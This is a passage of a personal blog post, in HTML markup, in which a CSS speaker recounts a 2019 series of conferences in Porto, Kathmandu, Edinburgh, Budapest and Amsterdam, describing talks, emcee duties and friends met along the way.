&lt;img srcset=&quot;/images/posts/talking-css-2019/connectasia-480.jpg 480w, /images/posts/talking-css-2019/connectasia-640.jpg 640w, /images/posts/talking-css-2019/connectasia-960.jpg 960w, /images/posts/talking-css-2019/connectasia-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/connectasia-640.jpg&quot; alt=&quot;Making the Malaysia flag with CSS&quot;&gt;
&lt;p&gt;Also, &lt;a href=&quot;https://twitter.com/wgao19&quot;&gt;Wei&lt;/a&gt; gave her first conference workshop at the same event. I told her if I bombed my talk I&apos;d just pop into her workshop instead. I was pretty happy I managed to catch the tail-end of it though.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/SXwBxro6y40&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Portugal&quot;&gt;🇵🇹&lt;/span&gt; @ Connect Fest 2019&lt;/h2&gt;
&lt;p&gt;I had to fly to Porto for &lt;a href=&quot;https://connectfest.pt/&quot;&gt;Connect Fest&lt;/a&gt; directly from &lt;a href=&quot;https://2019.jsconfkorea.com/&quot;&gt;JSConf Korea&lt;/a&gt; but I just have to mention how amazing the organisers did for their inaugural edition. I met &lt;a href=&quot;https://www.sonalee.me/&quot;&gt;Soeun Lee&lt;/a&gt; AKA Sona, for the first time in JSConf EU last year and had continued to keep in touch especially after I knew she was going to organise JSConf Korea.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/jsconfkr-480.jpg 480w, /images/posts/talking-css-2019/jsconfkr-640.jpg 640w, /images/posts/talking-css-2019/jsconfkr-960.jpg 960w, /images/posts/talking-css-2019/jsconfkr-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/jsconfkr-640.jpg&quot; alt=&quot;Post conference dinner at JSConf Korea&quot;&gt;
&lt;p&gt;The entire team was absolutely delightful and I felt extremely blessed to be able to be there to support them as part of the greater JSConf family. Also, Nexmo was a sponsor for the event, so I got to be there with my mates, Alex and Julia as well. Booth duty is more fun with friends.&lt;/p&gt;
&lt;p&gt;But anyway, Connect Fest. This was a conference organised by Bosch, which to be honest, I associate the brand with automotive parts because that&apos;s what they are known for in Malaysia and Singapore. Turns out they are trying to rebrand themselves as a tech company, which makes sense since they do a lot more than just car parts.&lt;/p&gt;
&lt;p&gt;This was one conference where I didn&apos;t know anybody in the line-up and it was a lot broader than the typical web conferences I attended so I didn&apos;t know what to expect. Which was great, because I had the best time there.&lt;/p&gt;
&lt;p&gt;At the speaker dinner, I got to know &lt;a href=&quot;https://twitter.com/aniawsz&quot;&gt;Anna Wszeborowska&lt;/a&gt;, who is one of the loveliest human beings I&apos;ve ever met and we chatted long after dinner was over. &lt;a href=&quot;https://twitter.com/miss_limesplash&quot;&gt;Diana Birsan&lt;/a&gt; was also at the table among a few other speakers, and we were pretty much the last to leave.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/connectfest2-480.jpg 480w, /images/posts/talking-css-2019/connectfest2-640.jpg 640w, /images/posts/talking-css-2019/connectfest2-960.jpg 960w, /images/posts/talking-css-2019/connectfest2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/connectfest2-640.jpg&quot; alt=&quot;On stage at Connect Fest&quot;&gt;
&lt;p&gt;It was a 2-track conference with one stage in an auditorium style and the other at the top floor of the venue. That second stage had a stunning view of Porto. At lunch, we naturally hovered together and were joined by some other speakers, including Dr. Roméo Farinacci. Somehow our band of 4 stuck together the rest of the time.&lt;/p&gt;
&lt;p&gt;I soon realised that the audience was NOT majority web developers and wasn&apos;t feeling particularly confident about resizing the browser a thousand times on stage talking about flexbox and grid. But my 3 new-found friends were so incredibly supportive that I felt much better about it. A couple of people who did do web development also said nice things to me after, so that was a relief.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/connectfest-480.jpg 480w, /images/posts/talking-css-2019/connectfest-640.jpg 640w, /images/posts/talking-css-2019/connectfest-960.jpg 960w, /images/posts/talking-css-2019/connectfest-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/connectfest-640.jpg&quot; alt=&quot;Wandering around beautiful Porto with friends&quot;&gt;
&lt;p&gt;A lot of people talked shop but not us. We had conversations about disturbingly large spiders, Eastern European parents, relationships, travel, anything and everything, really. And we ended off the event by having a nice dinner and wine. I genuinely hope we cross paths again sooner than later, but that time we spent together was golden.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/connectfest3-480.jpg 480w, /images/posts/talking-css-2019/connectfest3-640.jpg 640w, /images/posts/talking-css-2019/connectfest3-960.jpg 960w, /images/posts/talking-css-2019/connectfest3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/connectfest3-640.jpg&quot; alt=&quot;Group photo overlooking the city after dinner&quot;&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Nepal&quot;&gt;🇳🇵&lt;/span&gt; @ Web Weekend Kathmandu 2019&lt;/h2&gt;
&lt;p&gt;I kicked off a fairly crazy stupid September-October schedule by heading out to Nepal for &lt;a href=&quot;https://2019.wwktm.co/&quot;&gt;Web Weekend Kathmandu&lt;/a&gt;. I had never been to Nepal before and was really looking forward to this. Even though I was thoroughly a foreigner in Kathmandu, there was a sense of familiarity to the streets of Kathmandu.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/wwktm.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/wwktm@2x.jpg 2x&quot; alt=&quot;Electric wiring on the streets of Kathmandu&quot;&gt;
&lt;p&gt;When asked, I described it as similar to small town Malaysia as I remember it maybe 20 plus years ago when I was a kid. A lot of the smells were very familiar, because even though the style of cooking is unique, we use a lot of the same spices as well.&lt;/p&gt;
&lt;p&gt;The organisers were really thoughtful and gave every speaker personalised coffee mugs with a sketch of us on them, and the content curation was stunningly good. It was the type of conference that chose to go broad, so we had talks about DevOps, MIDI and hardware, testing, gender in tech, CSS.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/wwktm2.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/wwktm2@2x.jpg 2x&quot; alt=&quot;On stage at wwktm&quot;&gt;
&lt;p&gt;I learned so much, not only from the talks though, but also from the attendees and organisers. I gave the DevTools talk here as well, but had to switch it up a bit to fit the 25 minute format. This audience was one of the best I&apos;ve ever had the privilege of speaking in front of.&lt;/p&gt;
&lt;p&gt;They were so engaged and attentive, and the people who came up to me afterwards would make references to the things I mentioned only in passsing and every question that I got was relevant to what I talked about.&lt;/p&gt;
&lt;p&gt;A highlight of the conference was the hike which took place the day after the conference. I had to bail out halfway because I needed to catch a flight but I did manage to have a lot of good conversations with others who came along on the hike.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/wwktm-480.jpg 480w, /images/posts/talking-css-2019/wwktm-640.jpg 640w, /images/posts/talking-css-2019/wwktm-960.jpg 960w, /images/posts/talking-css-2019/wwktm-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/wwktm-640.jpg&quot; alt=&quot;Hiking the day after the conference&quot;&gt;
&lt;p&gt;I was really glad to meet &lt;a href=&quot;https://twitter.com/Wingskush&quot;&gt;Kushma Thapa&lt;/a&gt;, who did a fantastic job as emcee. She also became the first Nepalese international conference speaker when she spoke at &lt;a href=&quot;https://2018.seleniumconf.in/&quot;&gt;SeleniumConf&lt;/a&gt; last year. There were a lot of feels after the conference which I penned in my other site, &lt;a href=&quot;https://devreldiaries.commons.host/my-own-definition-of-developer-relations/&quot;&gt;DevRel Diaries&lt;/a&gt;, if you&apos;re interested.&lt;/p&gt;
&lt;p&gt;Before I left though, I had one final meal with the organisers as well as &lt;a href=&quot;https://twitter.com/kazzalo&quot;&gt;Karen Lowry&lt;/a&gt;, and we were throwing out ideas and discussing how to improve the conference, how to increase the participation rate for women, and I definitely want to pitch in to help out for future iterations.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Remote&quot;&gt;🌐&lt;/span&gt; @ JekyllConf 2019&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://jekyllconf.com/&quot;&gt;JekyllConf&lt;/a&gt; is a virtual conference, completely free and online, on best practices, advanced case studies and the future of Jekyll (according to the website). I&apos;d been using Jekyll for ages, and centred the talk around data files and how I used them for the &lt;a href=&quot;https://singaporecss.github.io&quot;&gt;SingaporeCSS&lt;/a&gt; website.&lt;/p&gt;
&lt;p&gt;My first remote conference of the year! Unfortunately, due to scheduling, I ended up being in the air while the event was being live-streamed. But JekyllConf organiser, &lt;a href=&quot;https://twitter.com/mikeneumegen&quot;&gt;Mike Neumegen&lt;/a&gt;, had pre-empted this and asked if I could pre-record the talk. There were 260 people live-streaming the conference, which was kinda cool.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/CERXESTZ5w4&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Scotland&quot;&gt;🏴󠁧󠁢󠁳󠁣󠁴󠁿&lt;/span&gt; @ Finch Frontend&lt;/h2&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/finch-480.jpg 480w, /images/posts/talking-css-2019/finch-640.jpg 640w, /images/posts/talking-css-2019/finch-960.jpg 960w, /images/posts/talking-css-2019/finch-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/finch-640.jpg&quot; alt=&quot;Sunrise from the plane&quot;&gt;
&lt;p&gt;So the flight I was catching on the day of the hike was to Edinburgh for &lt;a href=&quot;https://finchconf.uk/&quot;&gt;Finch Front-end&lt;/a&gt;. It was the inaugural edition organised by &lt;a href=&quot;https://twitter.com/ptg&quot;&gt;Patrick Griffiths&lt;/a&gt; and the line-up was absolutely stacked! There was &lt;a href=&quot;https://hakim.se/&quot;&gt;Hakim El Hattab&lt;/a&gt;, &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;, &lt;a href=&quot;https://csswizardry.com/&quot;&gt;Harry Roberts&lt;/a&gt;, &lt;a href=&quot;https://www.sarasoueidan.com/&quot;&gt;Sara Soueidan&lt;/a&gt; among all the other briliant speakers.&lt;/p&gt;
&lt;p&gt;I was doing the DevTools talk once again, but this time I was given 45 minutes, so I managed to fit in all of my “Lego” blocks. I&apos;ll be honest, I did not think it was my best performance, and the audience was fairly reserved, which did throw me off a little, especially since Kathmandu happened just 2 days before (I did the straight from the airport thing again).&lt;/p&gt;
&lt;p&gt;But later, Harry Roberts also mentioned that he felt the crowd was a bit tough, so that sort of reassured me a little bit, though I still wasn&apos;t all that happy with myself. Patrick did ask me if I wanted to emcee for the second day.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/finch.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/finch@2x.jpg 2x&quot; alt=&quot;On stage at Finch Front-end&quot;&gt;
&lt;p&gt;I&apos;ve mentioned before that I find emcee-ing way less stressful than speaking, so I was definitely up for it, except that I had to leave at lunch to catch a flight (again). But Patrick was fine with it because &lt;a href=&quot;http://www.cassieevans.co.uk/&quot;&gt;Cassie Evans&lt;/a&gt; agreed to do the sessions after lunch, so impromptu emcee-ing on day 2!&lt;/p&gt;
&lt;p&gt;I had a way better time being the emcee. We had some form of Q&amp;amp;A after the talk but all the questions ran through me first, and I could also come up with a couple of my own to get the ball rolling so that was nice. So I was taking notes by hand during everybody&apos;s talk, which made me realise I hadn&apos;t done that in a long time.&lt;/p&gt;
&lt;p&gt;It was really nice to introduce Hakim, Cassie and &lt;a href=&quot;https://valhead.com/&quot;&gt;Val Head&lt;/a&gt;, making it the second time I got to introduce Val. The first time being when I crashed the &lt;a href=&quot;https://2019.webconf.asia/&quot;&gt;Webconf.asia&lt;/a&gt; stage last year. Patrick did an amazing job with his conference and I&apos;m really chuffed he put me in his line-up.&lt;/p&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;Hungary&quot;&gt;🇭🇺&lt;/span&gt; @ CSSConf Budapest&lt;/h2&gt;
&lt;p&gt;Budapest was not part of my original schedule. But multiple factors influenced my decision to go, one of which was that Wei was going to attend, then I looked at the line-up and realised how many of my friends would be speaking there as well.&lt;/p&gt;
&lt;p&gt;There was &lt;a href=&quot;https://charliegerard.github.io/&quot;&gt;Charlie Gerard&lt;/a&gt;, &lt;a href=&quot;http://codebyte.re/&quot;&gt;Shelley Vohr&lt;/a&gt;, &lt;a href=&quot;https://stephanie.lol/&quot;&gt;Stephanie Nemeth&lt;/a&gt;, &lt;a href=&quot;https://ruthjohn.com/&quot;&gt;Ruth John&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/rebekaka&quot;&gt;Rebecca Hill&lt;/a&gt;, &lt;a href=&quot;https://jakearchibald.com/&quot;&gt;Jake Archibald&lt;/a&gt;, &lt;a href=&quot;https://dassur.ma/&quot;&gt;Das Surma&lt;/a&gt;, this list is getting long. And of course, my tea-drinking, basketball-loving friend, &lt;a href=&quot;https://twitter.com/benedekgagyi&quot;&gt;Ben Gagyi&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfbp-480.jpg 480w, /images/posts/talking-css-2019/cssconfbp-640.jpg 640w, /images/posts/talking-css-2019/cssconfbp-960.jpg 960w, /images/posts/talking-css-2019/cssconfbp-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfbp-640.jpg&quot; alt=&quot;Best seats in the house at JSConf Budapest&quot;&gt;
&lt;p&gt;As part of the greater JSConf family, I was in contact with the organisers as well and when they saw I was attending, they asked if I wanted to emcee for &lt;a href=&quot;https://cssconfbp.rocks/&quot;&gt;CSSConf Budpest&lt;/a&gt;. Of course I said yes. Like I mentioned before, I enjoy it quite a lot.&lt;/p&gt;
&lt;p&gt;Every single speaker was stunningly good, and it was such a pleasure to introduce them. And my emcee karma was relatively good, given what I did to Phil Hawksworth in Bristol, I was half expecting someone&apos;s laptop to catch fire or half the stage collapsing.&lt;/p&gt;
&lt;p&gt;Luckily, the only minor hiccup was when 1 of the speakers slides didn&apos;t come on and I spouted nonsense for a couple minutes longer than I normally did. We were also desperately off schedule in the morning, but due to some creative rescheduling of break time, we got everything back on track after lunch.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfbp2-480.jpg 480w, /images/posts/talking-css-2019/cssconfbp2-640.jpg 640w, /images/posts/talking-css-2019/cssconfbp2-960.jpg 960w, /images/posts/talking-css-2019/cssconfbp2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfbp2-640.jpg&quot; alt=&quot;On stage at CSSConf Budapest&quot;&gt;
&lt;p&gt;I thought the audience was extremely nice because they even applauded the emcee-ing, which was so kind of them. But &lt;a href=&quot;http://paulvm.com/&quot;&gt;Paul Verbeek-Mast&lt;/a&gt; hands-down stole the show and did an incredible job over the next 2 days for &lt;a href=&quot;https://2019.jsconfbp.com/&quot;&gt;JSConf Budapest&lt;/a&gt;. Amazing suit on Day 1, then full-length skirt and killer boots on Day 2. I just put on a tie.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.wgao19.cc/&quot;&gt;Wei&lt;/a&gt; gave a lovely presentation about &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt; at the Mozilla community lounge, which was a really nice place to just chill and watch the talks streamed live from the main stage. It was a very nice space and good idea to have it.&lt;/p&gt;
&lt;p&gt;Finally getting to meet &lt;a href=&quot;http://www.evaferreira.com.ar/en/index.html&quot;&gt;Eva Ferreira&lt;/a&gt; after years of following her online was definitely one of the highlights of this conference. I was really pleased I made the decision to come to Budapest on a whim.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/cssconfbp3-480.jpg 480w, /images/posts/talking-css-2019/cssconfbp3-640.jpg 640w, /images/posts/talking-css-2019/cssconfbp3-960.jpg 960w, /images/posts/talking-css-2019/cssconfbp3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/cssconfbp3-640.jpg&quot; alt=&quot;Eva Ferreira blowing everyone&apos;s minds on stage&quot;&gt;
&lt;p&gt;A lot of us realised that we would all be going to Amsterdam next for either View Source, Fronteers or both, so basically the party just moved cities. It was a lot of fun hanging out with friends I generally only get to see once or twice a year. Practically all of them are at least 8 hours away.&lt;/p&gt;
&lt;p&gt;Anyway, on to Amsterdam.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/cssconfbp.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/cssconfbp@2x.jpg 2x&quot; alt=&quot;Even the emcee gets sketchnotes&quot;&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;The Netherlands&quot;&gt;🇳🇱&lt;/span&gt; @ View Source 2019&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://2019.viewsourceconf.org/&quot;&gt;View Source&lt;/a&gt; is Sandra&apos;s thing. And I think we&apos;ve established that I would do anything for Sandra at this point if she says the word. She has looked out for me in so many ways and I will never stop saying how much I appreciate her.&lt;/p&gt;
&lt;p&gt;A lot of Budapest ended up in Amsterdam, but 1 person who was missing from Budapest was the indomitable &lt;a href=&quot;https://twitter.com/AnjanaVakil&quot;&gt;Anjana Vakil&lt;/a&gt;, who was in Amsterdam for the Mozilla Techspeakers meetup as well as Fronteers. Also, &lt;a href=&quot;https://mandymichael.com/&quot;&gt;Mandy Michael&lt;/a&gt; was around for Fronteers as well. Did I mention how much I love seeing my awesome friends who I never get to see otherwise?&lt;/p&gt;
&lt;p&gt;For View Source, however, I was kind of conferenced out at this point, so I pretty much skipped out most of Day 1. And I was also in 2 minds about the talk, which was the DevTools one yet again, but it would be the last time I was doing it.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/viewsource.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/viewsource@2x.jpg 2x&quot; alt=&quot;On stage at View Source Conference&quot;&gt;
&lt;p&gt;I had talked to Wei after Edinburgh and mentioned I wasn&apos;t happy with how that one went, and she replied that I would still have the chance to do better at View Source. In a way, that made me both reassured for a second chance, but also more nervous because it was like the “farewell” edition (if that makes any sense).&lt;/p&gt;
&lt;p&gt;By now I had given this iterations of this talk (depending on time allocated) 8 times already and to me, it felt like people may have seen it before somewhere else. But I also realised that Charlie, Shelly, Anjana and Mandy hadn&apos;t seen it before, so I figured I&apos;d just be giving that talk to them.&lt;/p&gt;
&lt;p&gt;Having friends in the front row is the best thing ever as a speaker. They were so incredibly supportive. I was going faster than I normally did (and I already speak fairly fast) because I had the hare-brained idea to fit in more content just for this “finale” edition. Apparently the captioner kept right up. I owe her a drink.&lt;/p&gt;
&lt;p&gt;Immediately after my talk was a Conversation Corner thing with Rachel Andrew and &lt;a href=&quot;https://twitter.com/argyleink&quot;&gt;Adam Argyle&lt;/a&gt;, who I met in person for the first time and he&apos;s such a chill guy.&lt;/p&gt;
&lt;img src=&quot;/images/posts/talking-css-2019/viewsource2.jpg&quot; srcset=&quot;/images/posts/talking-css-2019/viewsource2@2x.jpg 2x&quot; alt=&quot;Having a nice chat about CSS with Rachel and Adam&quot;&gt;
&lt;p&gt;We weren&apos;t given much guidance on how to do things so it ended up being a conversation between the 3 of us about CSS, the standards bodies, browsers and specifications. Things we would have chatted about even without an audience.&lt;/p&gt;
&lt;p&gt;Personally, I can&apos;t wait to share &lt;a href=&quot;https://adactio.com/&quot;&gt;Jeremy Keith&lt;/a&gt;&apos;s closing keynote when the video gets released, because it was just so damn good. &lt;em&gt;Update: &lt;a href=&quot;https://youtu.be/LrWsjbaeahA&quot;&gt;here it is&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I genuinely appreciated having a lot of content centred around browser technologies and web standards, because it offers a perspective different from what day-to-day web developers encounter, and don&apos;t we all need more perspective?&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/22ejQuAmZqo&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h2&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;The Netherlands&quot;&gt;🇳🇱&lt;/span&gt; @ Fronteers 2019&lt;/h2&gt;
&lt;p&gt;I&apos;d known about &lt;a href=&quot;https://fronteers.nl/congres/2019&quot;&gt;Fronteers&lt;/a&gt; for years because it was the first international conference my brother from another mother, &lt;a href=&quot;https://zellwk.com/&quot;&gt;Zell Liew&lt;/a&gt;, spoke at back in 2016. He&apos;s now off the circuit for at least 7 years or until his daughter starts school? Who knows?&lt;/p&gt;
&lt;p&gt;Before Fronteers though, I spoke at &lt;a href=&quot;https://queerjs.com/amsterdam&quot;&gt;QueerJS&lt;/a&gt;. Truth be told, I wasn&apos;t all there because I was a bit sick that day, so maybe ask Charlie for details on what happened. But all the talks were fantastic. I requested for mine not to be recorded or streamed, because reasons.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/queerjs-480.jpg 480w, /images/posts/talking-css-2019/queerjs-640.jpg 640w, /images/posts/talking-css-2019/queerjs-960.jpg 960w, /images/posts/talking-css-2019/queerjs-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/queerjs-640.jpg&quot; alt=&quot;Being introduced by Sara Vieira&quot;&gt;
&lt;p&gt;It was one of the very few non-technical talks I ever gave, and I&apos;m happy I did it albeit semi-sprawled on the podium to hold myself up. To the people who happened to hear it and told me nice things after, thank you. I wouldn&apos;t have been able to give it anywhere else at this point, and so I am grateful.&lt;/p&gt;
&lt;p&gt;So, Fronteers. What a stage it was. The venue was a legitimate theatre and had a really classy vibe. I was especially excited to see &lt;a href=&quot;http://lea.verou.me/&quot;&gt;Lea Verou&lt;/a&gt;, &lt;a href=&quot;https://svgees.us/&quot;&gt;Chris Lilley&lt;/a&gt; and their adorable baby daughter, Zoe. The last time I met them was in Athens in January, when Chris first had issues with his visa.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Off to Amsterdam for &lt;a href=&quot;https://twitter.com/FronteersConf?ref_src=twsrc%5Etfw&quot;&gt;@FronteersConf&lt;/a&gt;! First conference to attend with Zoe, first conference talk I’m giving after she was born. I got the jitters like it’s 2010 again! (&lt;a href=&quot;https://twitter.com/svgeesus?ref_src=twsrc%5Etfw&quot;&gt;@svgeesus&lt;/a&gt; is here too, he took the photo) &lt;a href=&quot;https://t.co/KfjGucF7Mf&quot;&gt;pic.twitter.com/KfjGucF7Mf&lt;/a&gt;&lt;/p&gt;&amp;mdash; Lea Verou (@LeaVerou) &lt;a href=&quot;https://twitter.com/LeaVerou/status/1179219628536553474?ref_src=twsrc%5Etfw&quot;&gt;October 2, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;It was a lot of tension as Chris&apos;s visa barely came through before Zoe was due to be born, but all is well now, and I was delight to see my favourite first family of the web in person. Chatting with Chris is one of the most delightful things ever as he shared a lot of the developments in web fonts land with me. I&apos;ll definitely have more to say on this subject moving forward.&lt;/p&gt;
&lt;p&gt;I finally got to watch &lt;a href=&quot;https://www.sonniesedge.net/&quot;&gt;Charlie Owen&lt;/a&gt; live and oh my goodness, it was a spectacular opening (which did make me more nervous about mine because I was right after). Fronteers was another conference with an utterly stacked line-up, Lea Verou, Rachel Andrew, &lt;a href=&quot;https://ashi.io/&quot;&gt;Ashi Krishnan&lt;/a&gt;, Anjana Vakil, Mandy Michael, and this list goes on.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/fronteers2-480.jpg 480w, /images/posts/talking-css-2019/fronteers2-640.jpg 640w, /images/posts/talking-css-2019/fronteers2-960.jpg 960w, /images/posts/talking-css-2019/fronteers2-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/fronteers2-640.jpg&quot; alt=&quot;The amazing Charlie Owen on the Fronteers stage&quot;&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;the potential for creating better visual interfaces for users of assistive technologies by combining variable fonts with speech apis is a pretty exciting prospect&lt;a href=&quot;https://twitter.com/hashtag/FronteersConf?src=hash&amp;amp;ref_src=twsrc%5Etfw&quot;&gt;#FronteersConf&lt;/a&gt; &lt;a href=&quot;https://t.co/Z1MRdeQnGw&quot;&gt;pic.twitter.com/Z1MRdeQnGw&lt;/a&gt;&lt;/p&gt;&amp;mdash; HJ Chen (@hj_chen) &lt;a href=&quot;https://twitter.com/hj_chen/status/1180130434568658944?ref_src=twsrc%5Etfw&quot;&gt;October 4, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Meeting &lt;a href=&quot;https://twitter.com/eva_trostlos&quot;&gt;Eva Lettner&lt;/a&gt; again after 2 years was definitely another high point of the conference. I was especially happy all the CSS talks this conference were the ones that got multiple rounds of applause during the talk. I know people typically say they will watch conference videos but don&apos;t. Please do watch the Fronteers videos. They are all so good.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/fronteers3-480.jpg 480w, /images/posts/talking-css-2019/fronteers3-640.jpg 640w, /images/posts/talking-css-2019/fronteers3-960.jpg 960w, /images/posts/talking-css-2019/fronteers3-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/fronteers3-640.jpg&quot; alt=&quot;Eva Lettner starting her talk at Fronteers&quot;&gt;
&lt;p&gt;As for myself, I gave the talk I did back in April for &lt;a href=&quot;#--imagecon&quot;&gt;ImageCon&lt;/a&gt;, because honestly, I spent a lot of time researching that one, and felt I should at least give it one more time. The accoustics of the theatre made it hard to gauge audience reaction, but again, my friends were right up the first row and amazingly supportive.&lt;/p&gt;
&lt;p&gt;It was a 45 minute talk, which is honestly longer than I&apos;m used to, so I sort of “lost it” a little around the 30 minute mark, but hopefully not too many people noticed. The feedback afterward was very kind, and I was pretty happy to have gotten through this rather packed schedule without falling off any of the stages.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/talking-css-2019/fronteers-480.jpg 480w, /images/posts/talking-css-2019/fronteers-640.jpg 640w, /images/posts/talking-css-2019/fronteers-960.jpg 960w, /images/posts/talking-css-2019/fronteers-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/talking-css-2019/fronteers-640.jpg&quot; alt=&quot;On stage at Fronteers&quot;&gt;
&lt;p&gt;But that&apos;s generally it for me this conference season. It hit me I needed to reflect on my life choices when Ashi casually asked me how much speaking I did in the past 2 weeks and I had to count (the final tally was 10, or maybe 9.5 because I was only half-day emcee for Finch).&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/364358241&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;My remaining speaking engagements are all in Asia, and on a relatively more sane schedule. But I do need to deal with that gentle layer of dust that has collected over everything in my room at this point. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Intermission: &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;China&quot;&gt;🇨🇳&lt;/span&gt; @ JSConf China&lt;/h3&gt;
&lt;p&gt;If it hasn&apos;t been obvious enough, &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt; has clearly featured heavily in my life this year. She&apos;s just special, okay? Anyway, I&apos;ve told her that I would follow her anywhere she gives a talk at a conference. And she did at &lt;a href=&quot;https://2019.jsconfchina.com/&quot;&gt;JSConf China&lt;/a&gt;.&lt;/p&gt;
